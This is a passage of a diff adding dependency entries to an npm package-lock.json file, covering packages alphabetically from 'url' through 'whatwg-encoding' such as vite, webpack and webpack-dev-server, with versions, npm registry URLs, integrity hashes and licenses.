27025+ "resolved": "https://registry.npmjs.org/url/-/url-0.11.4.tgz",
27026+ "integrity": "sha512-oCwdVC7mTuWiPyjLUz/COz5TLk6wgp0RCsN+wHZ2Ekneac9w8uuV0njcbbie2ME+Vs+d6duwmYuR3HgQXs1fOg==",
27027+ "license": "MIT",
27028+ "dependencies": {
27029+ "punycode": "^1.4.1",
27030+ "qs": "^6.12.3"
27031+ },
27032+ "engines": {
27033+ "node": ">= 0.4"
27034+ }
27035+ },
27036+ "node_modules/url-parse": {
27037+ "version": "1.5.10",
27038+ "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
27039+ "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==",
27040+ "license": "MIT",
27041+ "dependencies": {
27042+ "querystringify": "^2.1.1",
27043+ "requires-port": "^1.0.0"
27044+ }
27045+ },
27046+ "node_modules/url/node_modules/punycode": {
27047+ "version": "1.4.1",
27048+ "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
27049+ "integrity": "sha512-jmYNElW7yvO7TV33CjSmvSiE2yco3bV2czu/OzDKdMNVZQWfxCblURLhf+47syQRBntjfLdd/H0egrzIG+oaFQ==",
27050+ "license": "MIT"
27051+ },
27052+ "node_modules/use-sync-external-store": {
27053+ "version": "1.6.0",
27054+ "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz",
27055+ "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==",
27056+ "license": "MIT",
27057+ "peerDependencies": {
27058+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
27059+ }
27060+ },
27061+ "node_modules/util": {
27062+ "version": "0.12.5",
27063+ "resolved": "https://registry.npmjs.org/util/-/util-0.12.5.tgz",
27064+ "integrity": "sha512-kZf/K6hEIrWHI6XqOFUiiMa+79wE/D8Q+NCNAWclkyg3b4d2k7s0QGepNjiABc+aR3N1PAyHL7p6UcLY6LmrnA==",
27065+ "license": "MIT",
27066+ "dependencies": {
27067+ "inherits": "^2.0.3",
27068+ "is-arguments": "^1.0.4",
27069+ "is-generator-function": "^1.0.7",
27070+ "is-typed-array": "^1.1.3",
27071+ "which-typed-array": "^1.1.2"
27072+ }
27073+ },
27074+ "node_modules/util-deprecate": {
27075+ "version": "1.0.2",
27076+ "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
27077+ "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
27078+ "license": "MIT"
27079+ },
27080+ "node_modules/util.promisify": {
27081+ "version": "1.0.1",
27082+ "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.1.tgz",
27083+ "integrity": "sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==",
27084+ "license": "MIT",
27085+ "dependencies": {
27086+ "define-properties": "^1.1.3",
27087+ "es-abstract": "^1.17.2",
27088+ "has-symbols": "^1.0.1",
27089+ "object.getownpropertydescriptors": "^2.1.0"
27090+ },
27091+ "funding": {
27092+ "url": "https://github.com/sponsors/ljharb"
27093+ }
27094+ },
27095+ "node_modules/utila": {
27096+ "version": "0.4.0",
27097+ "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz",
27098+ "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==",
27099+ "license": "MIT"
27100+ },
27101+ "node_modules/utility-types": {
27102+ "version": "3.11.0",
27103+ "resolved": "https://registry.npmjs.org/utility-types/-/utility-types-3.11.0.tgz",
27104+ "integrity": "sha512-6Z7Ma2aVEWisaL6TvBCy7P8rm2LQoPv6dJ7ecIaIixHcwfbJ0x7mWdbcwlIM5IGQxPZSFYeqRCqlOOeKoJYMkw==",
27105+ "license": "MIT",
27106+ "engines": {
27107+ "node": ">= 4"
27108+ }
27109+ },
27110+ "node_modules/utils-merge": {
27111+ "version": "1.0.1",
27112+ "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
27113+ "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==",
27114+ "license": "MIT",
27115+ "engines": {
27116+ "node": ">= 0.4.0"
27117+ }
27118+ },
27119+ "node_modules/uuid": {
27120+ "version": "3.4.0",
27121+ "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz",
27122+ "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==",
27123+ "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.",
27124+ "license": "MIT",
27125+ "bin": {
27126+ "uuid": "bin/uuid"
27127+ }
27128+ },
27129+ "node_modules/v8-to-istanbul": {
27130+ "version": "8.1.1",
27131+ "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-8.1.1.tgz",
27132+ "integrity": "sha512-FGtKtv3xIpR6BYhvgH8MI/y78oT7d8Au3ww4QIxymrCtZEh5b8gCw2siywE+puhEmuWKDtmfrvF5UlB298ut3w==",
27133+ "license": "ISC",
27134+ "dependencies": {
27135+ "@types/istanbul-lib-coverage": "^2.0.1",
27136+ "convert-source-map": "^1.6.0",
27137+ "source-map": "^0.7.3"
27138+ },
27139+ "engines": {
27140+ "node": ">=10.12.0"
27141+ }
27142+ },
27143+ "node_modules/v8-to-istanbul/node_modules/convert-source-map": {
27144+ "version": "1.9.0",
27145+ "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
27146+ "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
27147+ "license": "MIT"
27148+ },
27149+ "node_modules/v8n": {
27150+ "version": "1.5.1",
27151+ "resolved": "https://registry.npmjs.org/v8n/-/v8n-1.5.1.tgz",
27152+ "integrity": "sha512-LdabyT4OffkyXFCe9UT+uMkxNBs5rcTVuZClvxQr08D5TUgo1OFKkoT65qYRCsiKBl/usHjpXvP4hHMzzDRj3A==",
27153+ "license": "MIT"
27154+ },
27155+ "node_modules/validator": {
27156+ "version": "13.15.23",
27157+ "resolved": "https://registry.npmjs.org/validator/-/validator-13.15.23.tgz",
27158+ "integrity": "sha512-4yoz1kEWqUjzi5zsPbAS/903QXSYp0UOtHsPpp7p9rHAw/W+dkInskAE386Fat3oKRROwO98d9ZB0G4cObgUyw==",
27159+ "license": "MIT",
27160+ "engines": {
27161+ "node": ">= 0.10"
27162+ }
27163+ },
27164+ "node_modules/vary": {
27165+ "version": "1.1.2",
27166+ "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
27167+ "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==",
27168+ "license": "MIT",
27169+ "engines": {
27170+ "node": ">= 0.8"
27171+ }
27172+ },
27173+ "node_modules/verror": {
27174+ "version": "1.10.0",
27175+ "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz",
27176+ "integrity": "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==",
27177+ "engines": [
27178+ "node >=0.6.0"
27179+ ],
27180+ "license": "MIT",
27181+ "dependencies": {
27182+ "assert-plus": "^1.0.0",
27183+ "core-util-is": "1.0.2",
27184+ "extsprintf": "^1.2.0"
27185+ }
27186+ },
27187+ "node_modules/verror/node_modules/core-util-is": {
27188+ "version": "1.0.2",
27189+ "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
27190+ "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==",
27191+ "license": "MIT"
27192+ },
27193+ "node_modules/vite": {
27194+ "version": "7.2.7",
27195+ "resolved": "https://registry.npmjs.org/vite/-/vite-7.2.7.tgz",
27196+ "integrity": "sha512-ITcnkFeR3+fI8P1wMgItjGrR10170d8auB4EpMLPqmx6uxElH3a/hHGQabSHKdqd4FXWO1nFIp9rRn7JQ34ACQ==",
27197+ "license": "MIT",
27198+ "peer": true,
27199+ "dependencies": {
27200+ "esbuild": "^0.25.0",
27201+ "fdir": "^6.5.0",
27202+ "picomatch": "^4.0.3",
27203+ "postcss": "^8.5.6",
27204+ "rollup": "^4.43.0",
27205+ "tinyglobby": "^0.2.15"
27206+ },
27207+ "bin": {
27208+ "vite": "bin/vite.js"
27209+ },
27210+ "engines": {
27211+ "node": "^20.19.0 || >=22.12.0"
27212+ },
27213+ "funding": {
27214+ "url": "https://github.com/vitejs/vite?sponsor=1"
27215+ },
27216+ "optionalDependencies": {
27217+ "fsevents": "~2.3.3"
27218+ },
27219+ "peerDependencies": {
27220+ "@types/node": "^20.19.0 || >=22.12.0",
27221+ "jiti": ">=1.21.0",
27222+ "less": "^4.0.0",
27223+ "lightningcss": "^1.21.0",
27224+ "sass": "^1.70.0",
27225+ "sass-embedded": "^1.70.0",
27226+ "stylus": ">=0.54.8",
27227+ "sugarss": "^5.0.0",
27228+ "terser": "^5.16.0",
27229+ "tsx": "^4.8.1",
27230+ "yaml": "^2.4.2"
27231+ },
27232+ "peerDependenciesMeta": {
27233+ "@types/node": {
27234+ "optional": true
27235+ },
27236+ "jiti": {
27237+ "optional": true
27238+ },
27239+ "less": {
27240+ "optional": true
27241+ },
27242+ "lightningcss": {
27243+ "optional": true
27244+ },
27245+ "sass": {
27246+ "optional": true
27247+ },
27248+ "sass-embedded": {
27249+ "optional": true
27250+ },
27251+ "stylus": {
27252+ "optional": true
27253+ },
27254+ "sugarss": {
27255+ "optional": true
27256+ },
27257+ "terser": {
27258+ "optional": true
27259+ },
27260+ "tsx": {
27261+ "optional": true
27262+ },
27263+ "yaml": {
27264+ "optional": true
27265+ }
27266+ }
27267+ },
27268+ "node_modules/vite-plugin-node-polyfills": {
27269+ "version": "0.24.0",
27270+ "resolved": "https://registry.npmjs.org/vite-plugin-node-polyfills/-/vite-plugin-node-polyfills-0.24.0.tgz",
27271+ "integrity": "sha512-GA9QKLH+vIM8NPaGA+o2t8PDfFUl32J8rUp1zQfMKVJQiNkOX4unE51tR6ppl6iKw5yOrDAdSH7r/UIFLCVhLw==",
27272+ "license": "MIT",
27273+ "dependencies": {
27274+ "@rollup/plugin-inject": "^5.0.5",
27275+ "node-stdlib-browser": "^1.2.0"
27276+ },
27277+ "funding": {
27278+ "url": "https://github.com/sponsors/davidmyersdev"
27279+ },
27280+ "peerDependencies": {
27281+ "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0"
27282+ }
27283+ },
27284+ "node_modules/vm-browserify": {
27285+ "version": "1.1.2",
27286+ "resolved": "https://registry.npmjs.org/vm-browserify/-/vm-browserify-1.1.2.tgz",
27287+ "integrity": "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ==",
27288+ "license": "MIT"
27289+ },
27290+ "node_modules/w3c-hr-time": {
27291+ "version": "1.0.2",
27292+ "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz",
27293+ "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==",
27294+ "deprecated": "Use your platform's native performance.now() and performance.timeOrigin.",
27295+ "license": "MIT",
27296+ "dependencies": {
27297+ "browser-process-hrtime": "^1.0.0"
27298+ }
27299+ },
27300+ "node_modules/w3c-xmlserializer": {
27301+ "version": "2.0.0",
27302+ "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz",
27303+ "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==",
27304+ "license": "MIT",
27305+ "dependencies": {
27306+ "xml-name-validator": "^3.0.0"
27307+ },
27308+ "engines": {
27309+ "node": ">=10"
27310+ }
27311+ },
27312+ "node_modules/walker": {
27313+ "version": "1.0.8",
27314+ "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz",
27315+ "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==",
27316+ "license": "Apache-2.0",
27317+ "dependencies": {
27318+ "makeerror": "1.0.12"
27319+ }
27320+ },
27321+ "node_modules/warning": {
27322+ "version": "4.0.3",
27323+ "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz",
27324+ "integrity": "sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==",
27325+ "license": "MIT",
27326+ "dependencies": {
27327+ "loose-envify": "^1.0.0"
27328+ }
27329+ },
27330+ "node_modules/watchpack": {
27331+ "version": "2.4.4",
27332+ "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.4.tgz",
27333+ "integrity": "sha512-c5EGNOiyxxV5qmTtAB7rbiXxi1ooX1pQKMLX/MIabJjRA0SJBQOjKF+KSVfHkr9U1cADPon0mRiVe/riyaiDUA==",
27334+ "license": "MIT",
27335+ "dependencies": {
27336+ "glob-to-regexp": "^0.4.1",
27337+ "graceful-fs": "^4.1.2"
27338+ },
27339+ "engines": {
27340+ "node": ">=10.13.0"
27341+ }
27342+ },
27343+ "node_modules/wbuf": {
27344+ "version": "1.7.3",
27345+ "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz",
27346+ "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==",
27347+ "license": "MIT",
27348+ "dependencies": {
27349+ "minimalistic-assert": "^1.0.0"
27350+ }
27351+ },
27352+ "node_modules/web-vitals": {
27353+ "version": "2.1.4",
27354+ "resolved": "https://registry.npmjs.org/web-vitals/-/web-vitals-2.1.4.tgz",
27355+ "integrity": "sha512-sVWcwhU5mX6crfI5Vd2dC4qchyTqxV8URinzt25XqVh+bHEPGH4C3NPrNionCP7Obx59wrYEbNlw4Z8sjALzZg==",
27356+ "license": "Apache-2.0"
27357+ },
27358+ "node_modules/web3-provider-engine": {
27359+ "version": "16.0.1",
27360+ "resolved": "https://registry.npmjs.org/web3-provider-engine/-/web3-provider-engine-16.0.1.tgz",
27361+ "integrity": "sha512-/Eglt2aocXMBiDj7Se/lyZnNDaHBaoJlaUfbP5HkLJQC/HlGbR+3/W+dINirlJDhh7b54DzgykqY7ksaU5QgTg==",
27362+ "deprecated": "This package has been deprecated, see the README for details: https://github.com/MetaMask/web3-provider-engine",
27363+ "license": "MIT",
27364+ "dependencies": {
27365+ "async": "^2.5.0",
27366+ "backoff": "^2.5.0",
27367+ "clone": "^2.0.0",
27368+ "cross-fetch": "^2.1.0",
27369+ "eth-block-tracker": "^4.4.2",
27370+ "eth-json-rpc-filters": "^4.2.1",
27371+ "eth-json-rpc-infura": "^5.1.0",
27372+ "eth-json-rpc-middleware": "^6.0.0",
27373+ "eth-rpc-errors": "^3.0.0",
27374+ "eth-sig-util": "^1.4.2",
27375+ "ethereumjs-block": "^1.2.2",
27376+ "ethereumjs-tx": "^1.2.0",
27377+ "ethereumjs-util": "^5.1.5",
27378+ "ethereumjs-vm": "^2.3.4",
27379+ "json-stable-stringify": "^1.0.1",
27380+ "promise-to-callback": "^1.0.0",
27381+ "readable-stream": "^2.2.9",
27382+ "request": "^2.85.0",
27383+ "semaphore": "^1.0.3",
27384+ "ws": "^5.1.1",
27385+ "xhr": "^2.2.0",
27386+ "xtend": "^4.0.1"
27387+ }
27388+ },
27389+ "node_modules/web3-provider-engine/node_modules/ws": {
27390+ "version": "5.2.4",
27391+ "resolved": "https://registry.npmjs.org/ws/-/ws-5.2.4.tgz",
27392+ "integrity": "sha512-fFCejsuC8f9kOSu9FYaOw8CdO68O3h5v0lg4p74o8JqWpwTf9tniOD+nOB78aWoVSS6WptVUmDrp/KPsMVBWFQ==",
27393+ "license": "MIT",
27394+ "dependencies": {
27395+ "async-limiter": "~1.0.0"
27396+ }
27397+ },
27398+ "node_modules/webgl-constants": {
27399+ "version": "1.1.1",
27400+ "resolved": "https://registry.npmjs.org/webgl-constants/-/webgl-constants-1.1.1.tgz",
27401+ "integrity": "sha512-LkBXKjU5r9vAW7Gcu3T5u+5cvSvh5WwINdr0C+9jpzVB41cjQAP5ePArDtk/WHYdVj0GefCgM73BA7FlIiNtdg=="
27402+ },
27403+ "node_modules/webgl-sdf-generator": {
27404+ "version": "1.1.1",
27405+ "resolved": "https://registry.npmjs.org/webgl-sdf-generator/-/webgl-sdf-generator-1.1.1.tgz",
27406+ "integrity": "sha512-9Z0JcMTFxeE+b2x1LJTdnaT8rT8aEp7MVxkNwoycNmJWwPdzoXzMh0BjJSh/AEFP+KPYZUli814h8bJZFIZ2jA==",
27407+ "license": "MIT"
27408+ },
27409+ "node_modules/webidl-conversions": {
27410+ "version": "6.1.0",
27411+ "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-6.1.0.tgz",
27412+ "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==",
27413+ "license": "BSD-2-Clause",
27414+ "engines": {
27415+ "node": ">=10.4"
27416+ }
27417+ },
27418+ "node_modules/webpack": {
27419+ "version": "5.103.0",
27420+ "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.103.0.tgz",
27421+ "integrity": "sha512-HU1JOuV1OavsZ+mfigY0j8d1TgQgbZ6M+J75zDkpEAwYeXjWSqrGJtgnPblJjd/mAyTNQ7ygw0MiKOn6etz8yw==",
27422+ "license": "MIT",
27423+ "dependencies": {
27424+ "@types/eslint-scope": "^3.7.7",
27425+ "@types/estree": "^1.0.8",
27426+ "@types/json-schema": "^7.0.15",
27427+ "@webassemblyjs/ast": "^1.14.1",
27428+ "@webassemblyjs/wasm-edit": "^1.14.1",
27429+ "@webassemblyjs/wasm-parser": "^1.14.1",
27430+ "acorn": "^8.15.0",
27431+ "acorn-import-phases": "^1.0.3",
27432+ "browserslist": "^4.26.3",
27433+ "chrome-trace-event": "^1.0.2",
27434+ "enhanced-resolve": "^5.17.3",
27435+ "es-module-lexer": "^1.2.1",
27436+ "eslint-scope": "5.1.1",
27437+ "events": "^3.2.0",
27438+ "glob-to-regexp": "^0.4.1",
27439+ "graceful-fs": "^4.2.11",
27440+ "json-parse-even-better-errors": "^2.3.1",
27441+ "loader-runner": "^4.3.1",
27442+ "mime-types": "^2.1.27",
27443+ "neo-async": "^2.6.2",
27444+ "schema-utils": "^4.3.3",
27445+ "tapable": "^2.3.0",
27446+ "terser-webpack-plugin": "^5.3.11",
27447+ "watchpack": "^2.4.4",
27448+ "webpack-sources": "^3.3.3"
27449+ },
27450+ "bin": {
27451+ "webpack": "bin/webpack.js"
27452+ },
27453+ "engines": {
27454+ "node": ">=10.13.0"
27455+ },
27456+ "funding": {
27457+ "type": "opencollective",
27458+ "url": "https://opencollective.com/webpack"
27459+ },
27460+ "peerDependenciesMeta": {
27461+ "webpack-cli": {
27462+ "optional": true
27463+ }
27464+ }
27465+ },
27466+ "node_modules/webpack-dev-middleware": {
27467+ "version": "5.3.4",
27468+ "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.4.tgz",
27469+ "integrity": "sha512-BVdTqhhs+0IfoeAf7EoH5WE+exCmqGerHfDM0IL096Px60Tq2Mn9MAbnaGUe6HiMa41KMCYF19gyzZmBcq/o4Q==",
27470+ "license": "MIT",
27471+ "dependencies": {
27472+ "colorette": "^2.0.10",
27473+ "memfs": "^3.4.3",
27474+ "mime-types": "^2.1.31",
27475+ "range-parser": "^1.2.1",
27476+ "schema-utils": "^4.0.0"
27477+ },
27478+ "engines": {
27479+ "node": ">= 12.13.0"
27480+ },
27481+ "funding": {
27482+ "type": "opencollective",
27483+ "url": "https://opencollective.com/webpack"
27484+ },
27485+ "peerDependencies": {
27486+ "webpack": "^4.0.0 || ^5.0.0"
27487+ }
27488+ },
27489+ "node_modules/webpack-dev-server": {
27490+ "version": "4.15.2",
27491+ "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.15.2.tgz",
27492+ "integrity": "sha512-0XavAZbNJ5sDrCbkpWL8mia0o5WPOd2YGtxrEiZkBK9FjLppIUK2TgxK6qGD2P3hUXTJNNPVibrerKcx5WkR1g==",
27493+ "license": "MIT",
27494+ "dependencies": {
27495+ "@types/bonjour": "^3.5.9",
27496+ "@types/connect-history-api-fallback": "^1.3.5",
27497+ "@types/express": "^4.17.13",
27498+ "@types/serve-index": "^1.9.1",
27499+ "@types/serve-static": "^1.13.10",
27500+ "@types/sockjs": "^0.3.33",
27501+ "@types/ws": "^8.5.5",
27502+ "ansi-html-community": "^0.0.8",
27503+ "bonjour-service": "^1.0.11",
27504+ "chokidar": "^3.5.3",
27505+ "colorette": "^2.0.10",
27506+ "compression": "^1.7.4",
27507+ "connect-history-api-fallback": "^2.0.0",
27508+ "default-gateway": "^6.0.3",
27509+ "express": "^4.17.3",
27510+ "graceful-fs": "^4.2.6",
27511+ "html-entities": "^2.3.2",
27512+ "http-proxy-middleware": "^2.0.3",
27513+ "ipaddr.js": "^2.0.1",
27514+ "launch-editor": "^2.6.0",
27515+ "open": "^8.0.9",
27516+ "p-retry": "^4.5.0",
27517+ "rimraf": "^3.0.2",
27518+ "schema-utils": "^4.0.0",
27519+ "selfsigned": "^2.1.1",
27520+ "serve-index": "^1.9.1",
27521+ "sockjs": "^0.3.24",
27522+ "spdy": "^4.0.2",
27523+ "webpack-dev-middleware": "^5.3.4",
27524+ "ws": "^8.13.0"
27525+ },
27526+ "bin": {
27527+ "webpack-dev-server": "bin/webpack-dev-server.js"
27528+ },
27529+ "engines": {
27530+ "node": ">= 12.13.0"
27531+ },
27532+ "funding": {
27533+ "type": "opencollective",
27534+ "url": "https://opencollective.com/webpack"
27535+ },
27536+ "peerDependencies": {
27537+ "webpack": "^4.37.0 || ^5.0.0"
27538+ },
27539+ "peerDependenciesMeta": {
27540+ "webpack": {
27541+ "optional": true
27542+ },
27543+ "webpack-cli": {
27544+ "optional": true
27545+ }
27546+ }
27547+ },
27548+ "node_modules/webpack-dev-server/node_modules/ipaddr.js": {
27549+ "version": "2.3.0",
27550+ "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.3.0.tgz",
27551+ "integrity": "sha512-Zv/pA+ciVFbCSBBjGfaKUya/CcGmUHzTydLMaTwrUUEM2DIEO3iZvueGxmacvmN50fGpGVKeTXpb2LcYQxeVdg==",
27552+ "license": "MIT",
27553+ "engines": {
27554+ "node": ">= 10"
27555+ }
27556+ },
27557+ "node_modules/webpack-dev-server/node_modules/ws": {
27558+ "version": "8.18.3",
27559+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.3.tgz",
27560+ "integrity": "sha512-PEIGCY5tSlUt50cqyMXfCzX+oOPqN0vuGqWzbcJ2xvnkzkq46oOpz7dQaTDBdfICb4N14+GARUDw2XV2N4tvzg==",
27561+ "license": "MIT",
27562+ "engines": {
27563+ "node": ">=10.0.0"
27564+ },
27565+ "peerDependencies": {
27566+ "bufferutil": "^4.0.1",
27567+ "utf-8-validate": ">=5.0.2"
27568+ },
27569+ "peerDependenciesMeta": {
27570+ "bufferutil": {
27571+ "optional": true
27572+ },
27573+ "utf-8-validate": {
27574+ "optional": true
27575+ }
27576+ }
27577+ },
27578+ "node_modules/webpack-manifest-plugin": {
27579+ "version": "4.1.1",
27580+ "resolved": "https://registry.npmjs.org/webpack-manifest-plugin/-/webpack-manifest-plugin-4.1.1.tgz",
27581+ "integrity": "sha512-YXUAwxtfKIJIKkhg03MKuiFAD72PlrqCiwdwO4VEXdRO5V0ORCNwaOwAZawPZalCbmH9kBDmXnNeQOw+BIEiow==",
27582+ "license": "MIT",
27583+ "dependencies": {
27584+ "tapable": "^2.0.0",
27585+ "webpack-sources": "^2.2.0"
27586+ },
27587+ "engines": {
27588+ "node": ">=12.22.0"
27589+ },
27590+ "peerDependencies": {
27591+ "webpack": "^4.44.2 || ^5.47.0"
27592+ }
27593+ },
27594+ "node_modules/webpack-manifest-plugin/node_modules/source-map": {
27595+ "version": "0.6.1",
27596+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
27597+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
27598+ "license": "BSD-3-Clause",
27599+ "engines": {
27600+ "node": ">=0.10.0"
27601+ }
27602+ },
27603+ "node_modules/webpack-manifest-plugin/node_modules/webpack-sources": {
27604+ "version": "2.3.1",
27605+ "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-2.3.1.tgz",
27606+ "integrity": "sha512-y9EI9AO42JjEcrTJFOYmVywVZdKVUfOvDUPsJea5GIr1JOEGFVqwlY2K098fFoIjOkDzHn2AjRvM8dsBZu+gCA==",
27607+ "license": "MIT",
27608+ "dependencies": {
27609+ "source-list-map": "^2.0.1",
27610+ "source-map": "^0.6.1"
27611+ },
27612+ "engines": {
27613+ "node": ">=10.13.0"
27614+ }
27615+ },
27616+ "node_modules/webpack-sources": {
27617+ "version": "3.3.3",
27618+ "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.3.3.tgz",
27619+ "integrity": "sha512-yd1RBzSGanHkitROoPFd6qsrxt+oFhg/129YzheDGqeustzX0vTZJZsSsQjVQC4yzBQ56K55XU8gaNCtIzOnTg==",
27620+ "license": "MIT",
27621+ "engines": {
27622+ "node": ">=10.13.0"
27623+ }
27624+ },
27625+ "node_modules/webpack/node_modules/eslint-scope": {
27626+ "version": "5.1.1",
27627+ "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
27628+ "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
27629+ "license": "BSD-2-Clause",
27630+ "dependencies": {
27631+ "esrecurse": "^4.3.0",
27632+ "estraverse": "^4.1.1"
27633+ },
27634+ "engines": {
27635+ "node": ">=8.0.0"
27636+ }
27637+ },
27638+ "node_modules/webpack/node_modules/estraverse": {
27639+ "version": "4.3.0",
27640+ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
27641+ "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
27642+ "license": "BSD-2-Clause",
27643+ "engines": {
27644+ "node": ">=4.0"
27645+ }
27646+ },
27647+ "node_modules/websocket-driver": {
27648+ "version": "0.7.4",
27649+ "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.4.tgz",
27650+ "integrity": "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg==",
27651+ "license": "Apache-2.0",
27652+ "dependencies": {
27653+ "http-parser-js": ">=0.5.1",
27654+ "safe-buffer": ">=5.1.0",
27655+ "websocket-extensions": ">=0.1.1"
27656+ },
27657+ "engines": {
27658+ "node": ">=0.8.0"
27659+ }
27660+ },
27661+ "node_modules/websocket-extensions": {
27662+ "version": "0.1.4",
27663+ "resolved": "https://registry.npmjs.org/websocket-extensions/-/websocket-extensions-0.1.4.tgz",
27664+ "integrity": "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg==",
27665+ "license": "Apache-2.0",
27666+ "engines": {
27667+ "node": ">=0.8.0"
27668+ }
27669+ },
27670+ "node_modules/whatwg-encoding": {
27671+ "version": "1.0.5",
27672+ "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz",
